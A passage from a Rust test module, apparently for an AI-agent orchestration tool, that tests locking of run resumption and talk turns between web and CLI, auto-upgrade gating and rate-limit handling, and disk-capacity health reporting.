23236 write_run(&runs, stalled, RunStatus::Stalled);
23237
23238 let mut beat = crate::daemon::Status::new();
23242 beat.current = vec![crate::daemon::Current {
23243 worker: None,
23244 task: "20260901-000000-task".to_owned(),
23245 run: "20260901-000000-othr".to_owned(),
23246 }];
23247 beat.updated_at = jiff::Timestamp::now();
23248 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23249 .expect("publish a heartbeat");
23250
23251 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
23252 assert_eq!(res.status, 409);
23253 let err = res.json()["error"].as_str().unwrap().to_owned();
23254 assert!(err.contains("othr"), "it names what the loop is on: {err}");
23255 assert!(err.contains("stop it first"), "{err}");
23256 }
23257
23258 #[test]
23259 fn a_run_cannot_be_resumed_twice_at_once() {
23260 let home = TempDir::new().expect("temp home");
23261 let ui = Ui::new(
23262 Queue::at(home.path().join("queue")),
23263 Questions::at(home.path().join("questions")),
23264 Talks::at(home.path().join("talks")),
23265 home.path().join("runs"),
23266 home.path().to_path_buf(),
23267 PathBuf::from("/repo"),
23268 )
23269 .with_worktrees_root(home.path().join("wt"));
23270 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
23271 let again = ui.begin_resume("20260901-000000-once");
23272 assert!(again.is_err(), "a second tap must not start a second graph");
23273 drop(first);
23274 assert!(
23275 ui.begin_resume("20260901-000000-once").is_ok(),
23276 "and the claim is released when the attempt ends"
23277 );
23278 }
23279
23280 #[test]
23281 fn talk_thinking_tracks_only_its_held_turn_claim() {
23282 let home = TempDir::new().expect("temp home");
23283 let ui = Ui::new(
23284 Queue::at(home.path().join("queue")),
23285 Questions::at(home.path().join("questions")),
23286 Talks::at(home.path().join("talks")),
23287 home.path().join("runs"),
23288 home.path().to_path_buf(),
23289 PathBuf::from("/repo"),
23290 )
23291 .with_worktrees_root(home.path().join("wt"));
23292 let id = "20260901-000000-once";
23293
23294 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
23295 let turn = ui.begin_talk_turn(id).expect("claim turn");
23296 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
23297 assert!(
23298 !ui.is_thinking("20260901-000000-other"),
23299 "one talk's turn does not make another talk busy"
23300 );
23301 drop(turn);
23302 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
23303 }
23304
23305 #[test]
23306 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
23307 let home = TempDir::new().expect("temp home");
23308 let talks = Talks::at(home.path().join("talks"));
23309 let ui = Ui::new(
23310 Queue::at(home.path().join("queue")),
23311 Questions::at(home.path().join("questions")),
23312 talks.clone(),
23313 home.path().join("runs"),
23314 home.path().to_path_buf(),
23315 PathBuf::from("/repo"),
23316 )
23317 .with_worktrees_root(home.path().join("wt"));
23318 let id = "20260901-000000-cross";
23319
23320 let other = Talks::at(home.path().join("talks"))
23321 .claim_turn(id)
23322 .expect("claim")
23323 .expect("the other process wins");
23324 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
23325 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
23326 assert!(
23327 matches!(
23328 ui.begin_talk_turn_unless_pending(id).expect("start"),
23329 TalkTurnStart::Foreign
23330 ),
23331 "a foreign holder is refused, not queued behind"
23332 );
23333 assert!(
23334 !ui.talk_turns.lock().unwrap().live.contains(id),
23335 "a refused claim leaves no in-process entry behind"
23336 );
23337 drop(other);
23338 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
23339 assert!(talks.turn_held(id), "the web turn holds the lease");
23340 drop(turn);
23341 assert!(
23342 !talks.turn_held(id),
23343 "dropping the guard releases the lease"
23344 );
23345 }
23346
23347 fn consult_question(ui: &Ui) -> Question {
23348 let mut q = Question::new(
23349 "20260901-000000-consult".to_owned(),
23350 "implement".to_owned(),
23351 "impl-A".to_owned(),
23352 "Which backend?".to_owned(),
23353 String::new(),
23354 vec!["SQLite".to_owned(), "Redis".to_owned()],
23355 );
23356 ui.questions.put(&mut q).expect("question");
23357 q
23358 }
23359
23360 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
23361 (
23362 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
23363 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
23364 )
23365 }
23366
23367 #[tokio::test]
23368 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
23369 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
23370 let q = consult_question(&ui);
23371 let talk = ui.talks.get(&id).expect("talk");
23372 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
23373 let before = consult_snapshot(&ui, &q, &id);
23374 let cli_talks = Talks::at(ui.home.join("talks"));
23375 assert_eq!(
23376 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
23377 .await
23378 .expect("CLI starter"),
23379 crate::consult::Started::Busy
23380 );
23381 assert_eq!(consult_snapshot(&ui, &q, &id), before);
23382 assert!(ui.is_thinking(&id));
23383 drop(guard);
23384 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
23385 }
23386
23387 #[tokio::test]
23388 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
23389 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
23390 let q = consult_question(&ui);
23391 let talk = ui.talks.get(&id).expect("talk");
23392 let started = tmp.path().join("started");
23393 let release = tmp.path().join("release");
23394 let script = tmp.path().join("consult-agent.sh");
23395 std::fs::write(
23396 &script,
23397 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
23398 )
23399 .expect("script");
23400 let mut cfg = stub_config();
23401 cfg.agents[0].id = "mock".to_owned();
23402 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
23403 cfg.agents[0].env = std::collections::BTreeMap::from([
23404 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
23405 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
23406 ]);
23407 let questions = ui.questions.clone();
23408 let cli_talks = Talks::at(ui.home.join("talks"));
23409 let cli_q = q.clone();
23410 let turn = tokio::spawn(async move {
23411 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
23412 });
23413 let ready = tokio::time::timeout(Duration::from_secs(30), async {
23414 while !started.exists() {
23415 tokio::time::sleep(Duration::from_millis(10)).await;
23416 }
23417 })
23418 .await;
23419 let refusal = if ready.is_ok() {
23422 let before = consult_snapshot(&ui, &q, &id);
23423 let result = talk_say(
23424 State(Arc::clone(&ui)),
23425 Path(id.clone()),
23426 Ok(Json(NewTalkTurn {
23427 reply_to: None,
23428 text: "another message".to_owned(),
23429 attachments: Vec::new(),
23430 })),
23431 )
23432 .await;
23433 Some((result, before, consult_snapshot(&ui, &q, &id)))
23434 } else {
23435 None
23436 };
23437 std::fs::write(&release, "").expect("release agent");
23438 let done = turn.await.expect("join CLI turn");
23439 ready.expect("agent started before deadline");
23440 let (result, before, after) = refusal.expect("web request");
23441 let error = result.expect_err("web must refuse the CLI's turn");
23442 assert_eq!(error.status, StatusCode::CONFLICT);
23443 assert!(error.message.contains("a turn is already running"));
23444 assert_eq!(
23445 after, before,
23446 "refusal preserves question, draft and history"
23447 );
23448 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
23449 let guard = ui
23450 .begin_talk_turn(&id)
23451 .expect("web claim")
23452 .expect("free again");
23453 drop(guard);
23454 }
23455
23456 #[test]
23457 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
23458 let home = TempDir::new().expect("temp home");
23459 let talks = Talks::at(home.path().join("talks"));
23460 let ui = Ui::new(
23461 Queue::at(home.path().join("queue")),
23462 Questions::at(home.path().join("questions")),
23463 talks.clone(),
23464 home.path().join("runs"),
23465 home.path().to_path_buf(),
23466 PathBuf::from("/repo"),
23467 )
23468 .with_worktrees_root(home.path().join("wt"));
23469 let id = "20260901-000000-order";
23470 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
23471 let slots = ui.talk_turns.lock().unwrap();
23473 let dropper = std::thread::spawn(move || drop(turn));
23474 let start = std::time::Instant::now();
23475 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
23476 std::thread::sleep(Duration::from_millis(5));
23477 }
23478 assert!(!talks.turn_held(id), "the lease is released first");
23479 assert!(slots.live.contains(id), "the slot is still held meanwhile");
23480 drop(slots);
23481 dropper.join().expect("join");
23482 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
23483 }
23484
23485 #[tokio::test]
23486 async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
23487 let fx = Fixture::start().await;
23488 let mut beat = crate::daemon::Status::new();
23489 beat.worker_protocol = None;
23490 beat.pid = 4321;
23491 beat.updated_at = jiff::Timestamp::now();
23492 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23493 .expect("publish a heartbeat");
23494
23495 let res = fx.post("/api/upgrade", None).await;
23496 assert_eq!(res.status, 409);
23497 }
23498
23499 #[test]
23506 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
23507 assert!(!should_spawn_recheck(&crate::config::Update {
23508 mode: UpdateMode::Off,
23509 interval: None,
23510 auto_restart: false,
23511 }));
23512
23513 unsafe {
23516 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23517 }
23518 let killed = should_spawn_recheck(&crate::config::Update {
23519 mode: UpdateMode::Notify,
23520 interval: None,
23521 auto_restart: false,
23522 });
23523 unsafe {
23524 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23525 }
23526 assert!(
23527 !killed,
23528 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
23529 one-time startup check"
23530 );
23531
23532 assert!(should_spawn_recheck(&crate::config::Update {
23533 mode: UpdateMode::Notify,
23534 interval: None,
23535 auto_restart: false,
23536 }));
23537 }
23538
23539 #[test]
23545 fn recheck_poll_period_tracks_a_short_configured_interval() {
23546 let short = crate::config::Update {
23547 mode: UpdateMode::Notify,
23548 interval: Some("1m".to_owned()),
23549 auto_restart: false,
23550 };
23551 let period = recheck_poll_period(&short);
23552 assert!(
23553 period <= Duration::from_secs(30),
23554 "a one-minute interval must wake the task far sooner than the \
23555 default ceiling, or the deck would not notice within the \
23556 interval the operator configured: got {period:?}"
23557 );
23558
23559 let default = crate::config::Update {
23560 mode: UpdateMode::Notify,
23561 interval: None,
23562 auto_restart: false,
23563 };
23564 assert_eq!(
23565 recheck_poll_period(&default),
23566 UPDATE_RECHECK_POLL_MAX,
23567 "the default day-long interval should poll at the (capped) \
23568 ceiling rather than needlessly often"
23569 );
23570 }
23571
23572 #[test]
23580 fn recheck_skips_the_network_before_the_interval_elapses() {
23581 let dir = TempDir::new().expect("temp dir");
23582 let path = dir.path().join("state.json");
23583 let state = kaishin::UpdateCheckState {
23584 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
23585 last_known_latest: None,
23586 last_known_url: None,
23587 };
23588 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
23589
23590 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
23591 assert!(
23592 !update_recheck_due(&checker, None),
23593 "a check made moments ago must not be repeated before the \
23594 configured interval elapses"
23595 );
23596 }
23597
23598 #[test]
23604 fn recheck_defers_to_an_upgrade_already_in_flight() {
23605 let dir = TempDir::new().expect("temp dir");
23606 let path = dir.path().join("state.json");
23607 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
23608 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
23609
23610 assert!(
23611 !update_recheck_due(&checker, Some(&progress)),
23612 "a recheck must not run while an upgrade this deck started is \
23613 still moving"
23614 );
23615 }
23616
23617 #[tokio::test]
23618 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
23619 unsafe {
23631 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23632 }
23633 let fx = Fixture::start().await;
23634 let res = fx.post("/api/upgrade", None).await;
23635 unsafe {
23636 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23637 }
23638 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
23639 let body = res.json();
23640 assert!(body["to"].is_null(), "there was no release to move to");
23641 assert!(body["parked"].is_null(), "and nothing was parked");
23642 assert!(
23643 body["detail"]
23644 .as_str()
23645 .unwrap()
23646 .contains("disabled by MAGI_NO_AUTOUPDATE"),
23647 "{body:?}"
23648 );
23649 }
23650
23651 #[test]
23652 fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
23653 use AutoUpgradeDecision::{Skip, Trigger, Wait};
23654 let mut cfg = Update::default();
23655 assert!(matches!(
23656 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23657 Skip(_)
23658 ));
23659 cfg.auto_restart = true;
23660 assert_eq!(
23661 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23662 Trigger
23663 );
23664 assert_eq!(
23665 auto_upgrade_decision(&cfg, false, false, true, "v2", None),
23666 Wait
23667 );
23668 for (disabled, moving, failed) in [
23669 (true, false, None),
23670 (false, true, None),
23671 (false, false, Some("v2")),
23672 ] {
23673 assert!(matches!(
23674 auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
23675 Skip(_)
23676 ));
23677 }
23678 assert_eq!(
23679 auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
23680 Trigger
23681 );
23682 cfg.mode = UpdateMode::Off;
23683 assert!(matches!(
23684 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23685 Skip(_)
23686 ));
23687 }
23688
23689 #[test]
23690 fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
23691 let home = TempDir::new().unwrap();
23692 let ui = idle_ui(&home);
23693 assert!(!ui.auto_upgrade_busy());
23694 let directory = home.path().join("workers/jobs/abcdef");
23695 std::fs::create_dir_all(&directory).unwrap();
23696 let mut job = crate::worker::Job {
23697 id: "abcdef".into(),
23698 sequence: 1,
23699 kind: "scheduler".into(),
23700 key: "scheduler".into(),
23701 payload: serde_json::json!({}),
23702 generation: "test".into(),
23703 version: None,
23704 status: crate::worker::Status::Running,
23705 result: None,
23706 pid: None,
23707 created_at: 0,
23708 finished_at: None,
23709 };
23710 let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
23711 let write = |job: &crate::worker::Job| {
23712 std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
23713 };
23714 write(&job);
23715 assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
23716 for kind in ["task", "chat"] {
23717 job.kind = kind.into();
23718 write(&job);
23719 assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
23720 }
23721 drop(lease);
23722 assert!(
23726 !ui.auto_upgrade_busy(),
23727 "completed execution permits updates"
23728 );
23729 std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
23730 assert!(
23731 ui.auto_upgrade_busy(),
23732 "unreadable worker state defers updates"
23733 );
23734 }
23735
23736 fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
23737 Box::pin(async { anyhow::bail!("test installer failed") })
23738 }
23739
23740 #[tokio::test]
23741 async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
23742 let home = TempDir::new().unwrap();
23743 std::fs::write(
23744 home.path().join("magi.toml"),
23745 "[update]\nauto_restart = true\n",
23746 )
23747 .unwrap();
23748 let mut ui = idle_ui(&home);
23749 ui.repo = home.path().to_path_buf();
23750 ui.upgrade_runner = fail_test_upgrade;
23752 let ui = Arc::new(ui);
23753 let latest = || {
23754 Some(kaishin::LatestRelease {
23755 tag_name: "v999.0.0".into(),
23756 html_url: String::new(),
23757 })
23758 };
23759 ui.talk_turns.lock().unwrap().live.insert("busy".into());
23760 assert_eq!(
23761 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23762 .await
23763 .status(),
23764 StatusCode::NO_CONTENT
23765 );
23766 assert!(updater::read_progress(home.path()).is_none());
23767 ui.talk_turns.lock().unwrap().live.clear();
23768 let gate = ui.upgrade_gate.lock().await;
23769 assert_eq!(
23770 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23771 .await
23772 .status(),
23773 StatusCode::CONFLICT
23774 );
23775 drop(gate);
23776 assert_eq!(
23777 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23778 .await
23779 .status(),
23780 StatusCode::ACCEPTED
23781 );
23782 let progress = updater::read_progress(home.path()).unwrap();
23783 assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
23784 assert_eq!(progress.stage, updater::Stage::Downloading);
23785 assert!(progress.parked_run.is_none());
23786 assert!(ui.start_detached_loop().await.is_err());
23787 assert!(ui.start_loop(None).is_err());
23788 assert!(ui.begin_resume("late").is_err());
23789 tokio::time::timeout(Duration::from_secs(2), async {
23790 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
23791 tokio::task::yield_now().await;
23792 }
23793 })
23794 .await
23795 .unwrap();
23796 let progress = updater::read_progress(home.path()).unwrap();
23797 assert_eq!(progress.stage, updater::Stage::Failed);
23798 assert_eq!(
23799 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23800 .await
23801 .status(),
23802 StatusCode::NO_CONTENT
23803 );
23804 let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
23806 assert_eq!(
23807 finish_upgrade_request(&ui, result).status(),
23808 StatusCode::ACCEPTED
23809 );
23810 assert_eq!(
23811 updater::read_progress(home.path()).unwrap().trigger,
23812 updater::UpgradeTrigger::Manual
23813 );
23814 tokio::time::timeout(Duration::from_secs(2), async {
23815 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
23816 tokio::task::yield_now().await;
23817 }
23818 })
23819 .await
23820 .unwrap();
23821 }
23822
23823 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
23824 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
23825 p.stage = stage;
23826 p
23827 }
23828
23829 #[test]
23830 fn busy_stages_match_the_ui_set() {
23831 use crate::updater::Stage;
23832 assert!(APP_JS.contains(
23833 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
23834 ));
23835 for s in [
23836 Stage::Downloading,
23837 Stage::Replaced,
23838 Stage::Parking,
23839 Stage::Restarting,
23840 ] {
23841 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
23842 }
23843 for s in [Stage::Done, Stage::Failed] {
23844 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
23845 }
23846 assert!(upgrade_in_motion(None).is_none());
23847 }
23848
23849 #[tokio::test]
23850 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
23851 use crate::updater::Stage;
23852 for stage in [
23853 Stage::Downloading,
23854 Stage::Replaced,
23855 Stage::Parking,
23856 Stage::Restarting,
23857 ] {
23858 let fx = Fixture::start().await;
23859 let seeded = seeded_progress(stage);
23860 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
23861 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
23862 .expect("read");
23863
23864 let res = fx.post("/api/upgrade", None).await;
23865 assert_eq!(res.status, 409, "{stage:?}");
23866 let err = res.json()["error"].as_str().unwrap().to_owned();
23867 assert!(err.contains("already in progress"), "{err}");
23868 assert!(err.contains(stage.as_str()), "{err}");
23869
23870 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
23871 .expect("read");
23872 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
23873 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
23874 .unwrap_or_default();
23875 assert!(!log.contains("signalling HANDOVER"), "{log}");
23876 }
23877 }
23878
23879 #[test]
23880 fn upgrade_retry_timing_only_parses_known_diagnostics() {
23881 assert_eq!(
23882 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
23883 Some(3723)
23884 );
23885 assert_eq!(
23886 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
23887 Some(60)
23888 );
23889 assert_eq!(
23890 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
23891 Some(0)
23892 );
23893 for message in [
23894 "permission denied",
23895 "GitHub API rate limit exceeded",
23896 "GitHub rate limit (resets in unknown)",
23897 "GitHub rate limit (resets in 18446744073709551615d)",
23898 ] {
23899 assert_eq!(upgrade_retry_after(message), None, "{message}");
23900 }
23901 }
23902
23903 #[tokio::test]
23904 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
23905 let home = TempDir::new().unwrap();
23906 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
23907 ui.start_loop(None).unwrap();
23908 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
23909 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
23910 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
23911 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
23912 let response = finish_upgrade_request(&ui, result);
23913 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
23914 assert_eq!(response.headers()["retry-after"], "120");
23915 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
23916 .await
23917 .unwrap();
23918 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
23919 assert!(body["error"].as_str().unwrap().contains(reason));
23920 assert_eq!(body["retry_after_secs"], 120);
23921 assert!(body["retry_at"].as_u64().is_some());
23922 for _ in 0..2 {
23923 let view = health(State(ui.clone())).await.unwrap().0;
23924 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
23925 assert_eq!(failure, body);
23926 }
23927 assert_eq!(
23928 std::fs::read(updater::progress_path(home.path())).unwrap(),
23929 before
23930 );
23931 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
23932 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
23933 let gate = ui.upgrade_gate.lock().await;
23935 assert_eq!(
23936 upgrade_post(State(ui.clone())).await.status(),
23937 StatusCode::CONFLICT
23938 );
23939 drop(gate);
23940 assert!(
23941 health(State(ui.clone()))
23942 .await
23943 .unwrap()
23944 .0
23945 .upgrade_request_error
23946 .is_some()
23947 );
23948 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
23949 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
23950 assert!(
23951 health(State(ui.clone()))
23952 .await
23953 .unwrap()
23954 .0
23955 .upgrade_request_error
23956 .is_none()
23957 );
23958 let live = ui.lock_loop().live.take().unwrap();
23959 live.stop.stop();
23960 live.handle.await.unwrap();
23961 }
23962
23963 #[tokio::test]
23964 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
23965 use crate::updater::Stage;
23966 let repo = TempDir::new().expect("repo dir");
23967 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23968 .expect("write magi.toml");
23969 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23970 for stage in [Stage::Done, Stage::Failed] {
23971 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
23972 let res = fx.post("/api/upgrade", None).await;
23973 assert_eq!(res.status, 200, "{stage:?}");
23974 }
23975 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
23977 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
23978 }
23979
23980 #[tokio::test]
23981 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
23982 let repo = TempDir::new().expect("repo dir");
23998 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23999 .expect("write magi.toml");
24000 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
24001
24002 let res = fx.post("/api/upgrade", None).await;
24008 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
24009 let body = res.json();
24010 assert!(body["to"].is_null(), "there was no release to move to");
24011 assert!(body["parked"].is_null(), "and nothing was parked");
24012 assert!(
24013 body["detail"]
24014 .as_str()
24015 .unwrap()
24016 .contains("nothing restarted"),
24017 "{body:?}"
24018 );
24019 }
24020
24021 async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
24022 tokio::time::timeout(Duration::from_secs(5), async {
24023 while state.lock().unwrap().in_flight {
24024 tokio::task::yield_now().await;
24025 }
24026 })
24027 .await
24028 .expect("capacity scan finished");
24029 }
24030
24031 fn disk_test_scope(home: &FsPath) -> DiskScope {
24032 DiskScope {
24033 runs: home.join("runs"),
24034 worktrees: home.join("worktrees"),
24035 cache: Some(home.join("cache")),
24036 }
24037 }
24038
24039 fn known_disk_capacity() -> DiskCapacity {
24040 DiskCapacity {
24041 free_bytes: Some(100),
24042 runs_bytes: Some(200),
24043 worktrees_bytes: Some(300),
24044 cache_bytes: Some(400),
24045 }
24046 }
24047
24048 #[tokio::test]
24049 async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
24050 let home = TempDir::new().unwrap();
24051 std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
24052 let mut ui = delta_test_ui(home.path());
24053 let state = Arc::get_mut(&mut ui).unwrap();
24054 state.repo = home.path().to_owned();
24055 state.worktrees_root = home.path().join("worktrees");
24056 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
24057 ui.monitor
24058 .worker_started
24059 .store(true, std::sync::atomic::Ordering::SeqCst);
24060 let cfg = deputy_config(&ui.repo);
24061 let scope = DiskScope::of(&ui, cfg.as_ref());
24062 let (started, reached) = tokio::sync::oneshot::channel();
24063 let (release, blocked) = std::sync::mpsc::channel();
24064 let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
24065 started.send(()).unwrap();
24066 let _ = blocked.recv();
24068 known_disk_capacity()
24069 });
24070 assert!(cold.runs_bytes.is_none());
24071 tokio::time::timeout(Duration::from_secs(5), reached)
24072 .await
24073 .unwrap()
24074 .unwrap();
24075
24076 let requests: Vec<_> = (0..4)
24077 .map(|_| {
24078 let ui = ui.clone();
24079 tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
24080 })
24081 .collect();
24082 let completed = tokio::time::timeout(Duration::from_secs(60), async {
24086 for request in requests {
24087 let view = request.await.unwrap();
24088 let disk = serde_json::to_value(view.disk).unwrap();
24089 assert!(disk["runs_bytes"].is_null());
24090 assert!(disk["worktrees_bytes"].is_null());
24091 assert!(disk["free_bytes"].is_u64());
24094 }
24095 })
24096 .await;
24097 if completed.is_err() {
24098 release.send(()).unwrap();
24099 wait_for_disk_scan(&ui.monitor.disk).await;
24100 panic!("health must return while the measurement is causally blocked");
24101 }
24102 assert!(ui.monitor.disk.lock().unwrap().in_flight);
24103 assert!(
24105 ui.monitor
24106 .disk
24107 .lock()
24108 .unwrap()
24109 .capacity
24110 .runs_bytes
24111 .is_none()
24112 );
24113 release.send(()).unwrap();
24114 wait_for_disk_scan(&ui.monitor.disk).await;
24115 assert_eq!(
24116 ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
24117 Some(200)
24118 );
24119 }
24120
24121 #[tokio::test]
24122 async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
24123 let home = TempDir::new().unwrap();
24124 let scope = disk_test_scope(home.path());
24125 let state = Arc::new(Mutex::new(DiskObservation {
24126 scope: Some(scope.clone()),
24127 capacity: known_disk_capacity(),
24128 finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
24129 ..Default::default()
24130 }));
24131 let (started, reached) = tokio::sync::oneshot::channel();
24132 let (release, blocked) = std::sync::mpsc::channel();
24133 let before = DiskObservation::observe(&state, scope.clone(), move |_| {
24134 started.send(()).unwrap();
24135 blocked.recv().unwrap();
24136 DiskCapacity {
24137 runs_bytes: Some(250),
24138 ..Default::default()
24139 }
24140 });
24141 assert_eq!(before.cache_bytes, Some(400));
24142 tokio::time::timeout(Duration::from_secs(5), reached)
24143 .await
24144 .unwrap()
24145 .unwrap();
24146 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
24147 for _ in 0..4 {
24148 let scans = duplicate_scans.clone();
24149 let during = DiskObservation::observe(&state, scope.clone(), move |_| {
24150 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24151 DiskCapacity::default()
24152 });
24153 assert_eq!(during.runs_bytes, Some(200));
24154 assert_eq!(during.cache_bytes, Some(400));
24155 }
24156 release.send(()).unwrap();
24157 wait_for_disk_scan(&state).await;
24158 let scans = duplicate_scans.clone();
24159 let after = DiskObservation::observe(&state, scope, move |_| {
24160 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24161 DiskCapacity::default()
24162 });
24163 wait_for_disk_scan(&state).await;
24164 assert_eq!(after.runs_bytes, Some(250));
24165 assert_eq!(after.free_bytes, Some(100));
24166 assert_eq!(after.cache_bytes, Some(400));
24167 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
24168 assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
24169 }
24170
24171 #[tokio::test]
24172 async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
24173 let home = TempDir::new().unwrap();
24174 let old_scope = disk_test_scope(home.path());
24175 let mut new_scope = old_scope.clone();
24176 new_scope.cache = Some(home.path().join("replacement-cache"));
24177 let state = Arc::new(Mutex::new(DiskObservation {
24178 scope: Some(old_scope.clone()),
